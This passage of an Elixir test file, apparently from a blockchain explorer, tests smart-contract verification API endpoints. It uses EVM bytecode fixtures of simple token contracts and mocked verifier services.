"0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633177029f116100715780633177029f1461025f57806354fd4d50146102c557806370a082311461034857806395d89b41146103a0578063a9059cbb14610423578063dd62ed3e14610489576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b6610501565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059f565b604051808215151515815260200191505060405180910390f35b61019f610691565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b604051808215151515815260200191505060405180910390f35b61024361090f565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b6102cd610a14565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030d5780820151818401526020810190506102f2565b50505050905090810190601f16801561033a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61038a6004803603602081101561035e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab2565b6040518082815260200191505060405180910390f35b6103a8610afa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e85780820151818401526020810190506103cd565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046f6004803603604081101561043957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b98565b604051808215151515815260200191505060405180910390f35b6104eb6004803603604081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfe565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105975780601f1061056c57610100808354040283529160200191610597565b820191906000526020600020905b81548152906001019060200180831161057a57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610762575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561076e5750600082115b1561090357816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610908565b600090505b9392505050565b600460009054906101000a900460ff1681565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aaa5780601f10610a7f57610100808354040283529160200191610aaa565b820191906000526020600020905b815481529060010190602001808311610a8d57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b905780601f10610b6557610100808354040283529160200191610b90565b820191906000526020600020905b815481529060010190602001808311610b7357829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610be85750600082115b15610cf357816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610cf8565b600090505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509291505056fea265627a7a723058202bede3d06720cdf63e8e43fa1d96f228a476cc899ae007bf684e802f2484ce7664736f6c63430005090032" + + input = + "0x60806040526040518060400160405280600381526020017f302e3100000000000000000000000000000000000000000000000000000000008152506006908051906020019062000051929190620001e2565b503480156200005f57600080fd5b506040516200105b3803806200105b833981810160405260808110156200008557600080fd5b81019080805190602001909291908051640100000000811115620000a857600080fd5b82810190506020810184811115620000bf57600080fd5b8151856001820283011164010000000082111715620000dd57600080fd5b50509291906020018051906020019092919080516401000000008111156200010457600080fd5b828101905060208101848111156200011b57600080fd5b81518560018202830111640100000000821117156200013957600080fd5b5050929190505050836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550836002819055508260039080519060200190620001a3929190620001e2565b5081600460006101000a81548160ff021916908360ff1602179055508060059080519060200190620001d7929190620001e2565b505050505062000291565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200022557805160ff191683800117855562000256565b8280016001018555821562000256579182015b828111156200025557825182559160200191906001019062000238565b5b50905062000265919062000269565b5090565b6200028e91905b808211156200028a57600081600090555060010162000270565b5090565b90565b610dba80620002a16000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633177029f116100715780633177029f1461025f57806354fd4d50146102c557806370a082311461034857806395d89b41146103a0578063a9059cbb14610423578063dd62ed3e14610489576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b6610501565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059f565b604051808215151515815260200191505060405180910390f35b61019f610691565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b604051808215151515815260200191505060405180910390f35b61024361090f565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b6102cd610a14565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030d5780820151818401526020810190506102f2565b50505050905090810190601f16801561033a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61038a6004803603602081101561035e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab2565b6040518082815260200191505060405180910390f35b6103a8610afa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e85780820151818401526020810190506103cd565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046f6004803603604081101561043957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b98565b604051808215151515815260200191505060405180910390f35b6104eb6004803603604081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfe565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105975780601f1061056c57610100808354040283529160200191610597565b820191906000526020600020905b81548152906001019060200180831161057a57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610762575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561076e5750600082115b1561090357816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610908565b600090505b9392505050565b600460009054906101000a900460ff1681565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aaa5780601f10610a7f57610100808354040283529160200191610aaa565b820191906000526020600020905b815481529060010190602001808311610a8d57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b905780601f10610b6557610100808354040283529160200191610b90565b820191906000526020600020905b815481529060010190602001808311610b7357829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610be85750600082115b15610cf357816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610cf8565b600090505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509291505056fea265627a7a723058202bede3d06720cdf63e8e43fa1d96f228a476cc899ae007bf684e802f2484ce7664736f6c63430005090032" + + contract_address = insert(:contract_address, contract_code: bytecode) + + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: input <> constructor_arguments + ) + |> with_block(status: :ok) + + topic = "addresses:#{contract_address.hash}" + + {:ok, _reply, _socket} = + UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + params = %{ + "source_code" => contract, + "compiler_version" => "v0.5.9+commit.e560f70d", + "evm_version" => "petersburg", + "contract_name" => "TestToken", + "is_optimization_enabled" => false + } + + request = post(conn, "/api/v2/smart-contracts/#{contract_address.hash}/verification/via/flattened-code", params) + + assert %{"message" => "Smart-contract verification started"} = json_response(request, 200) + + assert_receive %Phoenix.Socket.Message{ + payload: %{status: "success"}, + event: "verification_result", + topic: ^topic + }, + :timer.seconds(300) + + Application.put_env(:explorer, :solc_bin_api_url, before) + end + + test "get error on empty contract name", %{conn: conn} do + before = Application.get_env(:explorer, :solc_bin_api_url) + + Application.put_env(:explorer, :solc_bin_api_url, "https://solc-bin.ethereum.org") + + contract_address = insert(:contract_address, contract_code: "0x01") + + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: "0x" + ) + |> with_block(status: :ok) + + topic = "addresses:#{contract_address.hash}" + + {:ok, _reply, _socket} = + UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + params = %{ + "source_code" => "123", + "compiler_version" => "v0.5.9+commit.e560f70d", + "evm_version" => "petersburg", + "contract_name" => "", + "is_optimization_enabled" => false + } + + request = post(conn, "/api/v2/smart-contracts/#{contract_address.hash}/verification/via/flattened-code", params) + + assert %{"message" => "Smart-contract verification started"} = json_response(request, 200) + + assert_receive %Phoenix.Socket.Message{ + payload: %{status: "error", errors: %{name: ["Wrong contract name, please try again."]}}, + event: "verification_result", + topic: ^topic + }, + :timer.seconds(2) + + Application.put_env(:explorer, :solc_bin_api_url, before) + end + end + + describe "/api/v2/smart-contracts/{address_hash}/verification/via/sourcify" do + test "get 200 for verified contract", %{conn: conn} do + contract = insert(:smart_contract) + + params = %{"files" => ""} + request = post(conn, "/api/v2/smart-contracts/#{contract.address_hash}/verification/via/sourcify", params) + + assert %{"message" => "Already verified"} = json_response(request, 200) + end + + test "verify contract from sourcify repo", %{conn: conn} do + address = "0xf26594F585De4EB0Ae9De865d9053FEe02ac6eF1" + + _contract = insert(:address, hash: address, contract_code: "0x01") + + topic = "addresses:#{String.downcase(address)}" + + {:ok, _reply, _socket} = + UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + multipart = + Multipart.new() + |> Multipart.add_file_content("content", "name.json", + name: "files[0]", + headers: [{"content-type", "application/json"}] + ) + + body = + multipart + |> Multipart.body() + |> Enum.to_list() + |> to_str() + + [{name, value}] = Multipart.headers(multipart) + + request = + post( + conn + |> Plug.Conn.put_req_header( + name, + value + ), + "/api/v2/smart-contracts/#{address}/verification/via/sourcify", + body + ) + + assert %{"message" => "Smart-contract verification started"} = json_response(request, 200) + + assert_receive %Phoenix.Socket.Message{ + payload: %{status: "success"}, + event: "verification_result", + topic: ^topic + }, + :timer.seconds(120) + end + end + + describe "/api/v2/smart-contracts/{address_hash}/verification/via/multi-part" do + test "get 404", %{conn: conn} do + contract = insert(:smart_contract) + + params = %{"compiler_version" => "", "files" => ""} + request = post(conn, "/api/v2/smart-contracts/#{contract.address_hash}/verification/via/multi-part", params) + + assert %{"message" => "Not found"} = json_response(request, 404) + end + end + + describe "/api/v2/smart-contracts/{address_hash}/verification/via/vyper-code" do + test "get 200 for verified contract", %{conn: conn} do + contract = insert(:smart_contract) + + params = %{"compiler_version" => "", "source_code" => ""} + request = post(conn, "/api/v2/smart-contracts/#{contract.address_hash}/verification/via/vyper-code", params) + + assert %{"message" => "Already verified"} = json_response(request, 200) + end + + test "success verification", %{conn: conn} do + before = Application.get_env(:explorer, :solc_bin_api_url) + + Application.put_env(:explorer, :solc_bin_api_url, "https://solc-bin.ethereum.org") + + path = File.cwd!() <> "/../explorer/test/support/fixture/smart_contract/vyper.vy" + contract = File.read!(path) + + bytecode = + "0x600436101561000d57610572565b600035601c52600051341561002157600080fd5b63a9059cbb8114156100785760043560a01c1561003d57600080fd5b3361014052600435610160526024356101805261018051610160516101405160065801610578565b6101e0526101e050600160005260206000f35b6323b872dd8114156101195760043560a01c1561009457600080fd5b60243560a01c156100a457600080fd5b60043561014052602435610160526044356101805261018051610160516101405160065801610578565b6101e0526101e050600460043560e05260c052604060c0203360e05260c052604060c02080546044358082101561010457600080fd5b80820390509050815550600160005260206000f35b63095ea7b381141561020a5760043560a01c1561013557600080fd5b600854602435111515156101ad576308c379a061014052602061016052603a610180527f43616e7420417070726f7665206d6f7265207468616e20312528313030204d696101a0527f6c6c696f6e2920546f6b656e7320666f72207472616e736665720000000000006101c05261018050608461015cfd5b60243560043360e05260c052604060c02060043560e05260c052604060c0205560243561014052600435337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256020610140a3600160005260206000f35b6340c10f198114156102c65760043560a01c1561022657600080fd5b600654331461023457600080fd5b60006004351861024357600080fd5b6005805460243581818301101561025957600080fd5b80820190509050815550600360043560e05260c052604060c020805460243581818301101561028757600080fd5b808201905090508155506024356101405260043560007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6020610140a3005b6342966c688114156102f45733610140526004356101605261016051610140516006580161074d565b600050005b6379cc679081141561036c5760043560a01c1561031057600080fd5b600460043560e05260c052604060c0203360e05260c052604060c02080546024358082101561033e57600080fd5b80820390509050815550600435610140526024356101605261016051610140516006580161074d565b600050005b6306fdde038114156104115760008060c052602060c020610180602082540161012060006003818352015b826101205160200211156103aa576103cc565b61012051850154610120516020028501525b8151600101808352811415610397575b50505050505061018051806101a001818260206001820306601f82010390500336823750506020610160526040610180510160206001820306601f8201039050610160f35b6395d89b418114156104b65760018060c052602060c020610180602082540161012060006002818352015b8261012051602002111561044f57610471565b61012051850154610120516020028501525b815160010180835281141561043c575b50505050505061018051806101a001818260206001820306601f82010390500336823750506020610160526040610180510160206001820306601f8201039050610160f35b63313ce5678114156104ce5760025460005260206000f35b6370a082318114156105045760043560a01c156104ea57600080fd5b600360043560e05260c052604060c0205460005260206000f35b63dd62ed3e8114156105585760043560a01c1561052057600080fd5b60243560a01c1561053057600080fd5b600460043560e05260c052604060c02060243560e05260c052604060c0205460005260206000f35b6318160ddd8114156105705760055460005260206000f35b505b60006000fd5b6101a0526101405261016052610180526008546101805111151515610601576308c379a06101c05260206101e0526028610200527f5472616e73666572206c696d6974206f6620312528313030204d696c6c696f6e610220527f2920546f6b656e73000000000000000000000000000000000000000000000000610240526102005060846101dcfd5b60036101605160e05260c052604060c020546101805181818301101561062657600080fd5b808201905090506101c0526008546101c051111515156106aa576308c379a06101e052602061020052603a610220527f53696e676c652077616c6c65742063616e6e6f7420686f6c64206d6f72652074610240527f68616e20312528313030204d696c6c696f6e2920546f6b656e73000000000000610260526102205060846101fcfd5b60036101405160e05260c052604060c020805461018051808210156106ce57600080fd5b8082039050905081555060036101605160e05260c052604060c0208054610180518181830110156106fe57600080fd5b80820190509050815550610180516101e05261016051610140517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60206101e0a360016000526000516101a051565b6101805261014052610160526000610140511861076957600080fd5b60058054610160518082101561077e57600080fd5b8082039050905081555060036101405160e05260c052604060c020805461016051808210156107ac57600080fd5b80820390509050815550610160516101a0526000610140517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60206101a0a36101805156" + + input = + "0x6402540be4006007556305f5e10060085560126002556006610140527f4b6f6f6f706100000000000000000000000000000000000000000000000000006101605261014080600060c052602060c020602082510161012060006002818352015b8261012051602002111561007257610094565b61012051602002850151610120518501555b815160010180835281141561005f575b5050505050506003610140527f4b4f4f00000000000000000000000000000000000000000000000000000000006101605261014080600160c052602060c020602082510161012060006002818352015b826101205160200211156100f757610119565b61012051602002850151610120518501555b81516001018083528114156100e4575b505050505050600754604e6002541061013157600080fd5b600254600a0a808202821582848304141761014b57600080fd5b80905090509050610140526101405160033360e05260c052604060c02055610140516005553360065561014051610160523360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6020610160a361099c56600436101561000d57610572565b600035601c52600051341561002157600080fd5b63a9059cbb8114156100785760043560a01c1561003d57600080fd5b3361014052600435610160526024356101805261018051610160516101405160065801610578565b6101e0526101e050600160005260206000f35b6323b872dd8114156101195760043560a01c1561009457600080fd5b60243560a01c156100a457600080fd5b60043561014052602435610160526044356101805261018051610160516101405160065801610578565b6101e0526101e050600460043560e05260c052604060c0203360e05260c052604060c02080546044358082101561010457600080fd5b80820390509050815550600160005260206000f35b63095ea7b381141561020a5760043560a01c1561013557600080fd5b600854602435111515156101ad576308c379a061014052602061016052603a610180527f43616e7420417070726f7665206d6f7265207468616e20312528313030204d696101a0527f6c6c696f6e2920546f6b656e7320666f72207472616e736665720000000000006101c05261018050608461015cfd5b60243560043360e05260c052604060c02060043560e05260c052604060c0205560243561014052600435337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256020610140a3600160005260206000f35b6340c10f198114156102c65760043560a01c1561022657600080fd5b600654331461023457600080fd5b60006004351861024357600080fd5b6005805460243581818301101561025957600080fd5b80820190509050815550600360043560e05260c052604060c020805460243581818301101561028757600080fd5b808201905090508155506024356101405260043560007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6020610140a3005b6342966c688114156102f45733610140526004356101605261016051610140516006580161074d565b600050005b6379cc679081141561036c5760043560a01c1561031057600080fd5b600460043560e05260c052604060c0203360e05260c052604060c02080546024358082101561033e57600080fd5b80820390509050815550600435610140526024356101605261016051610140516006580161074d565b600050005b6306fdde038114156104115760008060c052602060c020610180602082540161012060006003818352015b826101205160200211156103aa576103cc565b61012051850154610120516020028501525b8151600101808352811415610397575b50505050505061018051806101a001818260206001820306601f82010390500336823750506020610160526040610180510160206001820306601f8201039050610160f35b6395d89b418114156104b65760018060c052602060c020610180602082540161012060006002818352015b8261012051602002111561044f57610471565b61012051850154610120516020028501525b815160010180835281141561043c575b50505050505061018051806101a001818260206001820306601f82010390500336823750506020610160526040610180510160206001820306601f8201039050610160f35b63313ce5678114156104ce5760025460005260206000f35b6370a082318114156105045760043560a01c156104ea57600080fd5b600360043560e05260c052604060c0205460005260206000f35b63dd62ed3e8114156105585760043560a01c1561052057600080fd5b60243560a01c1561053057600080fd5b600460043560e05260c052604060c02060243560e05260c052604060c0205460005260206000f35b6318160ddd8114156105705760055460005260206000f35b505b60006000fd5b6101a0526101405261016052610180526008546101805111151515610601576308c379a06101c05260206101e0526028610200527f5472616e73666572206c696d6974206f6620312528313030204d696c6c696f6e610220527f2920546f6b656e73000000000000000000000000000000000000000000000000610240526102005060846101dcfd5b60036101605160e05260c052604060c020546101805181818301101561062657600080fd5b808201905090506101c0526008546101c051111515156106aa576308c379a06101e052602061020052603a610220527f53696e676c652077616c6c65742063616e6e6f7420686f6c64206d6f72652074610240527f68616e20312528313030204d696c6c696f6e2920546f6b656e73000000000000610260526102205060846101fcfd5b60036101405160e05260c052604060c020805461018051808210156106ce57600080fd5b8082039050905081555060036101605160e05260c052604060c0208054610180518181830110156106fe57600080fd5b80820190509050815550610180516101e05261016051610140517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60206101e0a360016000526000516101a051565b6101805261014052610160526000610140511861076957600080fd5b60058054610160518082101561077e57600080fd5b8082039050905081555060036101405160e05260c052604060c020805461016051808210156107ac57600080fd5b80820390509050815550610160516101a0526000610140517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60206101a0a361018051565b6101ab61099c036101ab6000396101ab61099c036000f3" + + contract_address = insert(:contract_address, contract_code: bytecode) + + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: input + ) + |> with_block(status: :ok) + + topic = "addresses:#{contract_address.hash}" + + {:ok, _reply, _socket} = + UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + params = %{ + "source_code" => contract, + "compiler_version" => "v0.2.12", + "contract_name" => "abc" + } + + request = post(conn, "/api/v2/smart-contracts/#{contract_address.hash}/verification/via/vyper-code", params) + + assert %{"message" => "Smart-contract verification started"} = json_response(request, 200) + + assert_receive %Phoenix.Socket.Message{ + payload: %{status: "success"}, + event: "verification_result", + topic: ^topic + }, + :timer.seconds(300) + + Application.put_env(:explorer, :solc_bin_api_url, before) + end + + test "blueprint contract verification", %{conn: conn} do + bypass = Bypass.open() + + sc_verifier_response = + File.read!( + "./test/support/fixture/smart_contract/smart_contract_verifier_vyper_multi_part_blueprint_response.json" + ) + + old_env = Application.get_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour) + + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, + service_url: "http://localhost:#{bypass.port}", + enabled: true, + type: "sc_verifier", + eth_bytecode_db?: true + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect_once(bypass, "POST", "/api/v2//verifier/vyper/sources%3Averify-multi-part", fn conn -> + Conn.resp(conn, 200, sc_verifier_response) + end) + + bytecode = + "0xfe7100346100235760206100995f395f516001555f5f5561005f61002760003961005f6000f35b5f80fd5f3560e01c60026001821660011b61005b01601e395f51565b63158ef93e81186100535734610057575f5460405260206040f3610053565b633fa4f245811861005357346100575760015460405260206040f35b5f5ffd5b5f80fd0018003784185f810400a16576797065728300030a0013" + + input = + "0x61009c3d81600a3d39f3fe7100346100235760206100995f395f516001555f5f5561005f61002760003961005f6000f35b5f80fd5f3560e01c60026001821660011b61005b01601e395f51565b63158ef93e81186100535734610057575f5460405260206040f3610053565b633fa4f245811861005357346100575760015460405260206040f35b5f5ffd5b5f80fd0018003784185f810400a16576797065728300030a0013" + + contract_address = insert(:contract_address, contract_code: bytecode) + + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: input + ) + |> with_block(status: :ok) + + topic = "addresses:#{contract_address.hash}" + + {:ok, _reply, _socket} = + UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + # We can actually use any params here, as verification service response is defined in `sc_verifier_response` + params = %{ + "source_code" => "some_valid_source_code", + "compiler_version" => "v0.3.10", + "contract_name" => "abc" + } + + request = post(conn, "/api/v2/smart-contracts/#{contract_address.hash}/verification/via/vyper-code", params) + + assert %{"message" => "Smart-contract verification started"} = json_response(request, 200) + + assert_receive %Phoenix.Socket.Message{ + payload: %{status: "success"}, + event: "verification_result", + topic: ^topic + }, + :timer.seconds(300) + + # Assert that the `is_blueprint=true` is stored in the database after verification + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(contract_address.hash)}") + response = json_response(request, 200) + + assert response["is_blueprint"] == true + + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, old_env) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + Bypass.down(bypass) + end + end + + describe "/api/v2/smart-contracts/{address_hash}/verification/via/vyper-multi-part" do + test "get 404", %{conn: conn} do + contract = insert(:smart_contract) + + params = %{"compiler_version" => "", "files" => ""} + + request = + post(conn, "/api/v2/smart-contracts/#{contract.address_hash}/verification/via/vyper-multi-part", params) + + assert %{"message" => "Not found"} = json_response(request, 404) + end + end + end + + describe "/api/v2/smart-contracts/{address_hash}/verification/via/standard-input" do + test "get 200 for verified contract", %{conn: conn} do + contract = insert(:smart_contract) + + params = %{"compiler_version" => "", "files" => ""} + request = post(conn, "/api/v2/smart-contracts/#{contract.address_hash}/verification/via/standard-input", params) + + assert %{"message" => "Already verified"} = json_response(request, 200) + end + + test "success verification", %{conn: conn} do + before = Application.get_env(:explorer, :solc_bin_api_url) + + Application.put_env(:explorer, :solc_bin_api_url, "https://solc-bin.ethereum.org") + + path = File.cwd!() <> "/../explorer/test/support/fixture/smart_contract/standard_input.json" + json = File.read!(path) + + bytecode = + 